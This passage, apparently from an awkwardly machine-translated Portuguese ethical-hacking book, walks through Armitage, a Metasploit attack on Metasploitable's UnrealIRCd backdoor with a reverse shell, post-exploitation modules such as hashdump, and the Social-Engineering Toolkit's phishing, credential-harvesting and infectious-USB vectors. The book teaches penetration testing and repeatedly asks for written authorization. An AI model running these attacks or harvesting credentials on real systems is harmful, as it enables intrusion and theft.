Quando se trata de espaços de trabalho, o recurso Armitage Dynamic
Workspaces permite criar visualizações no banco de dados host e alternar
rapidamente entre eles.
Para entender melhor do que estou falando, selecione o menu Espaços de
Trabalho e clique em Gerenciar. Para gerenciar seus espaços de trabalho
dinâmicos, você pode adicionar, editar e remover espaços de trabalho já
criados.
Para iniciar um ataque, Armitage agrupa vários scans Metasploit em um
recurso chamado MSF Scans. Este recurso fará a varredura de um punhado
de portas abertas.
Da mesma forma que o nmap, ele enumera vários serviços comuns usando os
módulos auxiliares Metasploit que são integrados para esse propósito. Por
exemplo, você pode estar atacando uma máquina com Windows XP.
Você pode selecioná-lo, clicar com o botão direito e, em seguida, clicar em
Scan. Você também pode ir ao menu Hosts e clicar em MSF Scans, pois
ambos fornecerão a mesma funcionalidade.
Após a verificação ser concluída, antes de começar a atacar, você deve
escolher sua arma. Armitage torna esse processo muito fácil. Selecione o
menu “Ataques” e clique em Encontrar Ataques.
A opção “Encontrar ataques” irá gerar um menu de ataque personalizado para
cada host. Para explorar um host, clique com o botão direito nele e navegue
até Ataque e escolha um “Exploit” na lista.
A caixa de diálogo “Explorar” permite configurar opções para um módulo e
escolher se deseja usar uma carga útil de conexão reversa ou não. Para
exploits remotos,
Armitage escolhe sua carga útil para você.
Geralmente, Armitage usará Meterpreter para destinos Windows e uma carga
útil do shell de comando para destinos UNIX. Depois disso, basta clicar no
botão “Iniciar”.
Se a exploração for bem-sucedida, Armitage deixará o hospedeiro vermelho e
o cercará de bolas-relâmpago assustadoras. Se a exploração manual falhar,
não se preocupe. Você tem a opção “Ave Maria”.
Vá ao menu “Ataques” e clique em “Ave Maria” para iniciar este recurso. O
recurso Hail Mary de Armitage encontrará exploits relevantes para o seu
alvo, filtra os exploits usando informações conhecidas e os classifica em uma
ordem ideal.
Este recurso não encontrará todos os shell possíveis, mas é uma boa opção se
você não sabe o que mais tentar. O Armitage facilita o gerenciamento do
agente Meterpreter, uma vez que você explore um host com sucesso.
Em seguida, você pode clicar com o botão direito do mouse no “host” para
acessar o menu Meterpreter, selecionar “Meterpreter” e escolher o que quiser
na lista.
Por exemplo, você pode selecionar “navegar pelos arquivos da lista”. Não se
surpreenda se ele encontrar itens de diretório na máquina da vítima. Armitage
é ótimo e muito fácil de usar, mas eu recomendo que você pratique com ele e
veja qual método de ataque tem mais sucesso para seus requisitos.
Por último, pedirei novamente que você certifique-se de ter uma autorização
por escrito para usar o Armitage em um ambiente ao vivo ou de produção. Se
você estiver praticando apenas em seu laboratório doméstico, em um
ambiente sem produção, isso não deve causar problemas para ninguém; ainda
assim, sugiro que você desligue seu roteador e pratique com cuidado sem
nenhuma conexão com a internet.

Capítulo 32 A Estrutura Metasploit

A exploração é o coração do hacking ético. Ao explorar vulnerabilidades,


você pode começar a fazer suposições de como isso pode ser perigoso.
O Metasploit Framework ou MSF é uma ferramenta de código aberto
projetada para facilitar o teste de penetração. O aplicativo é escrito na
linguagem de programação Ruby.
Ele usa uma abordagem modular, facilitando assim as explorações. Isso torna
mais fácil desenvolver e codificar exploits, e também permite que ataques
complexos sejam facilmente implementados.
O módulo de exploração são os fragmentos de código que visam
vulnerabilidades específicas. Explorações ativas exploram um alvo específico
e são executadas até serem concluídas e, em seguida, fecham.
Por outro lado, explorações passivas esperam por hosts de entrada, como
navegadores da web ou clientes FTP, e os explora quando se conectam à
rede.
Cargas úteis são o código malicioso que implementa comandos
imediatamente após uma exploração bem-sucedida. Módulos auxiliares não
estabelecem ou oferecem suporte direto entre o testador de caneta e o sistema
de destino.
Em vez disso, eles executam funções relacionadas, como varredura, difusão
ou detecção, que oferecem suporte à fase de exploração. Após um ataque
bem-sucedido, os módulos de postagem são executados em alvos
comprometidos para coletar dados úteis e direcionar o invasor para mais
fundo na rede de destino.
Os codificadores são usados para contornar as defesas antivírus e esses
módulos codificam a carga útil para que ela não possa ser detectada por meio
de técnicas de correspondência de assinatura.
Por último, os módulos No-Operations são usados para facilitar estouros de
buffer durante os ataques. As etapas para explorar um sistema de destino
usando MSF começam primeiro com a escolha e configuração de uma
exploração.
Em seguida, você precisa verificar o sistema de destino para determinar se ele
é suscetível a ataques por exploit. Esta etapa é opcional e deve ser seu
método para minimizar a detecção.
Depois disso, você pode escolher e configurar a carga útil, que é o código que
será executado no sistema de destino após uma exploração bem-sucedida.
Um exemplo de carga útil seria algo como uma reversão do sistema
comprometido de volta para o host pentester.
Após essa etapa, você também pode escolher uma técnica de codificação para
ignorar os controles de detecção, como sistema de detecção de intrusão ou
software antivírus. Por último, você deve executar o exploit.
Deixe-me explicar como isso é feito. Como um testador de caneta, você deve
investigar todas as vulnerabilidades. Por exemplo, na porta 6667
Metasploitable executa o aplicativo denominado “unrealircd”, que é um
daemon IRC.
Esta versão contém um backdoor que você pode não perceber por meses,
acionado pelo envio das letras A, B, seguido por um comando do sistema
para o servidor em qualquer porta de escuta.
Metasploit tem um módulo para explorar isso a fim de ganhar uma interação.
Para iniciar o hack, primeiro abra o console. Em Kali, você precisará
inicializar o servidor “PostgreSQL” antes de iniciar o quadro.
Em seguida, você deve executar o aplicativo “msfconsole”. Como qualquer
aplicativo de console, inserir como ou um ponto de interrogação uma vez no
prompt de comando, para exibir e listar todos os comandos disponíveis junto
com uma descrição de para que são usados.
Você pode começar a organizar seu projeto usando os chamados espaços de
trabalho. Você pode criar um novo espaço de trabalho para o seu laboratório
e, a propósito, o argumento “-a” é usado para adicionar um espaço de
trabalho.
Em seguida, para garantir que um novo espaço de
trabalho seja selecionado, emita o "espaço de trabalho"
comandar todos os espaços de trabalho armazenados no banco de dados
Metasploit. Em seguida, procure seu exploit usando o
"pesquisa"
comando. O exploit retornado para o serviço IRCD pode ser listado e atribui a
classificação relativa de quão bem-sucedido é em realizar um exploit.
Você pode copiar o nome do exploit para usá-lo nos próximos comandos.
Informações adicionais sobre este exploit podem ser obtidas usando o
“Info”
comando. As informações retornadas devem incluir referências, bem como
informações sobre este exploit. É melhor verificar antes de prosseguir e
perder seu tempo.
Para instruir o Metasploit de que você irá atacar o alvo com um exploit, você
emite o
"usar"
comando. Após o comando “use”, o Metasploit muda o prompt de
comando de “msf” para “msf exploit (unreal_ircd_3281_backdoor)”.
Se você precisar definir qualquer opção para o exploit, pode fazê-lo
executando o “show options”
comando. Por exemplo, se você precisar definir o campo obrigatório para o
host remoto, que é o endereço IP do sistema que está sendo atacado, para
alterar o valor de qualquer opção, comece pelo
"conjunto"
palavra-chave, seguida do nome da opção e, finalmente, você insere o
valor da opção.
Para executar o payload,
digite “show payload”
comando para listar todas as cargas úteis adequadas para este exploit. Há um
monte deles, mas você pode selecionar o
“Carga útil reversa”
para este exemplo. Por que você faria isso? Bem, isso ocorre porque é uma
carga útil popular para shells UNIX. Quando digo popular, significa que as
pessoas usaram antes com uma boa taxa de sucesso.
Em seguida, você precisa verificar as opções para a carga útil selecionada. A
opção Payload solicitará que você insira um valor para o endereço IP do host
local. Você pode verificar isso com o comando
“Se config”.
Insira o valor e pressione Enter. Para iniciar o ataque, entre
no “exploit”
comando e pressione Enter. O Metasploit inicia o ataque e confirmará
indicando a sessão 1 do shell de comando aberta e fornecendo os endereços
IP que originam e encerram o shell reverso.
Quando um sistema está comprometido a este ponto, ele está pronto para as
atividades pós-exploração. A pós-exploração é uma parte do fluxo de
trabalho em que o invasor obtém o valor total do ataque.
Depois que um sistema é comprometido, o invasor geralmente executa as
seguintes atividades. Ele ou ela conduz uma avaliação rápida para
caracterizar o ambiente local, como infraestrutura, conectividade, contas,
presença de
arquivos ou aplicativos de destino que podem facilitar outros ataques.
Ele também localiza e copia ou modifica arquivos de destino de interesse,
como arquivos de dados ou informações financeiras. Além disso, ele cria
contas adicionais e modifica o sistema para oferecer suporte a atividades pós-
exploração.
Além disso, ele tenta escalar verticalmente o nível de privilégio, capturando
credenciais de administrador ou de nível de sistema, e tenta atacar outros
sistemas de dados chamados escalonamento horizontal.
Ao direcionar o ataque através do sistema comprometido para o restante da
rede, ele instala backdoors persistentes e canais secretos para manter o
controle e ter comunicações seguras com o sistema comprometido.
Por fim, o invasor pode remover as indicações do ataque do sistema
comprometido. Para ter sucesso, as atividades pós-exploração requerem um
conhecimento abrangente do sistema operacional do alvo para garantir que os
controles de proteção possam ser contornados.
Você já aprendeu a explorar o sistema anteriormente, então colocará a sessão
em segundo plano pressionando “Ctrl + Z” e digite “y” para confirmar.
É essencial saber o ID da sessão para o módulo de pós-exploração que você
vai usar. Isso pode ser obtido com o comando “sessões”.
Se você usou esta ferramenta pela primeira vez, sua sessão é 1. Um dos
primeiros módulos que você pode tentar é chamado de “hashdump”, que
tentará coletar os hashes de senha do sistema.
A única configuração que você precisa inserir aqui é o Id da sessão. Antes de
continuar, você precisa definir o Id da sessão na seção de opções.
Outro módulo de pós-exploração muito interessante do Metasploit é o
“enum_configs”, que obterá todos os arquivos de configuração importantes e
os armazenará em seu sistema.
Você deve ver na saída uma amostra dos arquivos de configuração que foram
obtidos do sistema remoto.
Se você quiser verificar um desses arquivos txt usando um aplicativo editor
de texto, copie um deles, abra um novo console e use a ferramenta chamada
“aplicativo nano” para ver seu conteúdo.
Quando estiver pronto para prosseguir, feche esta janela e volte para a janela
principal. Desta vez, você precisará enumerar as configurações de rede com o
módulo “enum_network”.
O comando “enum_network” salva tudo o que você encontrou em arquivos
de texto, para que você possa verificá-los para descobrir quais tipos de
instalações existem no sistema remoto, como IDS, antivírus, IPS ou firewalls.
Em seguida, você pode usar o módulo “enum_protections”, mas também
pode enumerar todo o sistema, obtendo informações sobre as contas de
usuário, os pacotes instalados, os serviços, o disco rígido, a versão do Linux e
assim por diante.
Para obter todas essas informações, você
pode usar o “enum_system”
comando, e você pode verificar o conteúdo dos arquivos de texto gerados.
Para descobrir informações do histórico do usuário, existe um módulo
Metasploit para isso também que armazena essas informações em seu sistema
local que é chamado de “enum_users_history”.
Capítulo 33 Kit de Ferramentas de Engenharia Social

Engenharia Social é uma técnica importante da qual você deve estar ciente e,
em breve, compreenderá como os hackers usam aplicativos de engenharia
social, enganando as vítimas para que executem a armadilha vulnerável.
SET ou Social-Engineering Toolkit é uma estrutura baseada em Python de
código aberto que foi especificamente projetada para facilitar ataques de
engenharia social.
Uma vantagem significativa do Social-Engineering Toolkit é sua
interconectividade com a estrutura Metasploit, que fornece as cargas
necessárias para a exploração, a criptografia para contornar antivírus e o
módulo de escuta que se conecta ao sistema comprometido quando envia um
shell de volta para o atacante.
Para iniciar o Kit de Ferramentas de Engenharia Social,
digite o comando “setoolkit”
e pressione Enter. Você tem várias opções para selecionar quando este
aplicativo é carregado. O primeiro são os Ataques de Engenharia Social, que
oferece uma combinação de métodos de Engenharia Social.
O segundo é o Fast-Track Penetration Testing, que fornece acesso rápido a
algumas ferramentas especializadas. Você pode digitar o número 2 para
selecionar esta opção.
A seguir, serão apresentadas mais opções. A primeira ferramenta é uma
quebra de senha de bancos de dados SQL, a segunda são alguns exploits
personalizados que são baseados em Python.
Depois disso, temos a Enumeração do usuário e, finalmente, contém a injeção
PSEXEC Powershell. Você pode digitar o número 99 para voltar ao menu
principal, mas se você selecionar a primeira opção que contém ferramentas
para Ataques de Engenharia Social, tudo o que você precisa fazer é
pressionar o número 1 no teclado.
Depois de selecionar esta opção, mais uma vez você terá mais opções. O
primeiro da lista são os vetores de ataque de spear-phishing, que permitem
que um invasor crie mensagens de e-mail e as envie para as vítimas
específicas com exploits anexados.
Em seguida, temos os vetores de ataque do site que utilizam vários ataques
baseados na web. Se você selecionar essa opção para ver os detalhes, basta
pressionar o número 2 no teclado.
Depois de selecionar essa opção, mais opções serão apresentadas a você. O
primeiro da lista, chamado Java Applet Attack Method, que falsifica um
certificado Java e fornece uma carga útil baseada em Metasploit.
Este é conhecido como um dos ataques mais bem-sucedidos e é eficaz contra
todos os sistemas, como Windows, Linux ou OSX. O próximo na lista é
chamado de Método de exploração de navegador Metasploit, que fornece
uma carga útil Metasploit usando um ataque de quadro I.
Em seguida na lista, temos o que é chamado de método de ataque Credential
Harvester, que clona um site e reescreve automaticamente os parâmetros
posteriores para permitir que um invasor intercepte e colete as credenciais do
usuário.
Em seguida, em nossa lista, temos o que é chamado de Método de Ataque
Tabnabbing, que substitui as informações em uma guia inativa do navegador
por uma página clonada que leva de volta ao invasor.
Depois disso, temos o método Web Jacking Attack, que utiliza substituições
de I-frame para fazer o link de URL destacado parecer legítimo. Por último
na lista, temos o Método Web Multi-Attack, que permite a um invasor
selecionar alguns ou vários, ou todos os ataques que podem ser iniciados de
uma vez.
Se você voltar à tela anterior e verificar o restante dos ataques listados, o
Infectious Media Generator, por exemplo, cria um arquivo de execução
automática e uma carga Metasploit.
Uma vez copiado para um dispositivo USB e inserido no sistema de destino,
ele irá disparar e executar automaticamente e comprometer o sistema. Em
seguida, ele criará um módulo Payload and Listener, que é um método rápido
baseado em menu, criando uma carga útil Metasploit.
Depois disso, temos o que é chamado de Mass Mailer Attack, que permite ao
invasor enviar vários emails personalizados para um único endereço de email
ou para uma lista de vários endereços.
Em seguida, temos o vetor de ataque baseado em Arduino, que programa
dispositivos baseados em Arduino. Como esses dispositivos são registrados
como um teclado USB quando conectados a um sistema Windows físico, eles
podem ignorar a segurança com base na desativação da execução automática
ou de outra segurança de endpoint.
O vetor de ataque do ponto de acesso sem fio, por exemplo, criará um ponto
de acesso sem fio falso e servidor DHCP no sistema do invasor e
redirecionará
todas as consultas DNS para o invasor.
O hacker pode então lançar vários ataques, como o Java Applet Attack ou um
Credential Harvester Attack. O QRCode Generator Attack Vector, por
exemplo, cria um código QR com uma URL definida associada a um ataque.
Os vetores de ataque Powershell permitem que o invasor crie ataques que
dependem do Powershell, um shell de linha de comando e linguagem de
script disponível em todos os sistemas, como Windows, Vista e versões
superiores.
Por último, temos Módulos de Terceiros que permitem ao invasor usar a
ferramenta de administração remota como parte de um Java Applet Attack ou
como uma carga isolada.
Esta ferramenta é uma ferramenta de texto, baseada em menus e de acesso
remoto. Cobrir todos esses métodos levaria outro livro por si só, mas como
você vê, SET é muito amigável e praticamente qualquer pessoa pode usá-lo
porque tudo que você precisa fazer é decidir qual ataque deseja implementar
e, em seguida, pressionar o número associado em seu teclado .
Por último, pedirei novamente que você certifique-se de ter uma autorização
por escrito para usar SET em um ambiente ativo ou de produção. Se você
estiver praticando apenas em seu laboratório doméstico, em um ambiente sem
produção, isso não deve causar problemas para ninguém; ainda assim, sugiro
que você desligue seu roteador e pratique com cuidado sem nenhuma
conexão com a internet.
Conclusão

Espero que este livro tenha sido capaz de ajudá-lo a começar sua busca por se
tornar um Hacker Ético ou Testador de Penetração. Se você descobriu que
algumas das técnicas e estratégias estão sendo avançadas, não se preocupe,
porque a prática contínua o ajudará a se tornar um profissional de TI melhor
em nenhum momento.
Obrigado novamente por adquirir este livro.
Por fim, se você gostou do conteúdo, reserve um tempo para compartilhar
suas ideias e postar uma avaliação. Seria muito apreciado!
Sobre o autor

Hugo, originário da Áustria, atualmente mora em Manchester, Reino Unido.


Hugo é especialista em segurança de TI, com mais de 17 anos de experiência
na área de TI.
Ele começou a trabalhar na Central de Serviços e depois foi para a área de
Redes, onde participou de vários projetos, incluindo implantações sem fio,
projeto de segurança sem fio, segurança de rede com fio e segurança de
firewall.
Em 2015, devido ao aumento dos ataques cibernéticos, o Departamento de
Segurança estava se expandindo e começou a recrutar membros adicionais
para a equipe. Foi então que Hugo mudou novamente e começou a trabalhar
como Analista de Segurança de TI.
Desde 2017, Hugo tornou-se Especialista em Segurança e passou a prestar
serviços profissionais e a consultar várias empresas para melhorar a sua
segurança.

Você também pode gostar